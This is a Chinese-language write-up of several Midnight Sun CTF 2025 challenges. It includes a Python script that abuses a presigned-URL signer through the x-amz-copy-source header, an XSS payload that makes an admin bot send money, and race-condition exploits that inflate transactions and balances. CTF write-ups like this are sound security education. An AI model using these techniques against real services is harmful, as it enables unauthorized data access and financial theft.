midnight sun ctf 2025 wp
web
shot host
给了一个上传存储桶的网页
大致逻辑
function fread(file) {
return new Promise((resolve) => {
const reader = new FileReader();
reader.onload = () => {
resolve(reader.result);
};
reader.readAsArrayBuffer(file);
});
}
let downloadLink;
async function getSignedLinks() {
const imageInput = document.querySelector("#image-input");
const file = imageInput.files[0];
const hash = sha256(await fread(file));
const lambdaUrl = 'https://fkrr63ahomtqkncb4jlwiao5mi0ubyqk.lambda-url.eu-north-1.on.aws/';
const xhr = new XMLHttpRequest();
xhr.open("GET", lambdaUrl, false);
xhr.setRequestHeader("x-amz-content-sha256", hash);
xhr.send(null);
const linkRes = JSON.parse(xhr.responseText);
const uploadRes = await await fetch(linkRes.upload, {
method: 'PUT',
'body': file,
'headers': {
'Content-Type': "image/png",
'x-amz-content-sha256': hash
}
});
imageInput.value = '';
document.querySelector('#download-link-btn').hidden = false;
downloadLink = linkRes.download;
alert("Screenshot uploaded");
}
function copyToClipboard() {
const ta = document.createElement("textarea");
ta.textContent = downloadLink;
document.body.appendChild(ta);
ta.select();
document.execCommand("copy");
document.body.removeChild(ta);
}现在访问https://fkrr63ahomtqkncb4jlwiao5mi0ubyqk.lambda-url.eu-north-1.on.aws/
发现会对以x-amz-*的请求头做出响应
会在回显中uplaod链接里加入这个请求头
正常加入额外请求头,鉴权那里会不通过
这里直接给你签名了,可以随便加
查询aws官方文档https://docs.aws.amazon.com/AmazonS3/latest/API/API_CopyObject.html
发现请求头x-amz-copy-source可以复制对象
于是有以下payload
#!/usr/bin/env python3
import hashlib, requests, sys, pathlib
LAMBDA = "https://fkrr63ahomtqkncb4jlwiao5mi0ubyqk.lambda-url.eu-north-1.on.aws/"
number = 1
sha = hashlib.sha256(b"").hexdigest()
j = requests.get(LAMBDA, headers={"x-amz-copy-source":f"/shot-host/{number}.png"}, timeout=10).json()
requests.put(
j["upload"],
headers={
"Content-Type": "image/png",
"x-amz-copy-source":f"/shot-host/{number}.png"
},
timeout=30,
).raise_for_status()
print(j["download"])Hackchan
管理员拥有无限money,只需要尝试让管理员处理problems的时候通过xss执行js给我们转账即可
for (const word of problemWords) {
const urlPattern = /^http:\/\/web:8000\//;
if (urlPattern.test(word) && word !== homeOrigin) {
const currentProblem = page.url()
await page.goto(word);
await page.waitForTimeout(2000);
await page.goto(currentProblem);
}
}当问题描述中出现的url开头是http://web:8000,bot会访问
管理员访问这个页面可以xss:https://hackchan-mjk2mpay.ctf.pro/?action=faq&question=Do+you+have+a+press+kit+available+that+includes+company+logos+and+release+templates%3F<script>alert(1)</script>
因为faq页面会根据我们提交的问题选择不同的模板进行渲染
这个问题对应的模板没有进行html实体化,可以xss
问题在于,当发送的钱数大于10会无法发送
可恶,当时已经在思考怎么绕过的时候队内的师傅已经出了这题了
以下是另一位师傅的
def confirm_transaction():
with app.app_context():
pending_transactions = Transaction.query.filter(Transaction.status == 'pending').all()
for transaction in pending_transactions:
if transaction.amount <= 10:
transaction.status = 'confirmed'
else:
transaction.status = 'pending-manual-check'
db.session.commit()
scheduler.add_job(id='confirm_transaction', func=confirm_transaction, trigger="interval", seconds=0.1)
def send_transaction():
with app.app_context():
confirmed_transactions = Transaction.query.filter(Transaction.status == 'confirmed').all()
for transaction in confirmed_transactions:
sender = User.query.get(transaction.sender_id)
recipient = User.query.get(transaction.recipient_id)
if sender and recipient:
if sender.balance >= transaction.amount:
transaction.status = 'sent'
if not sender.is_manager:
sender.balance -= transaction.amount
recipient.balance += transaction.amount
else:
transaction.status = 'rejected'
db.session.commit()
scheduler.add_job(id='send_transaction', func=send_transaction, trigger="interval", seconds=0.13)通过xss发送交易请求,发一块钱,然后正则表达式匹配交易id,再发送一个交易请求,此时POST传递前一个交易的id,并把amount改成999999999即可,需要多试几次。
misc
buttcoin_trading
打条件竞争即可
卖的时候进行条件竞争,让holdings为负数,就可以加金钱了
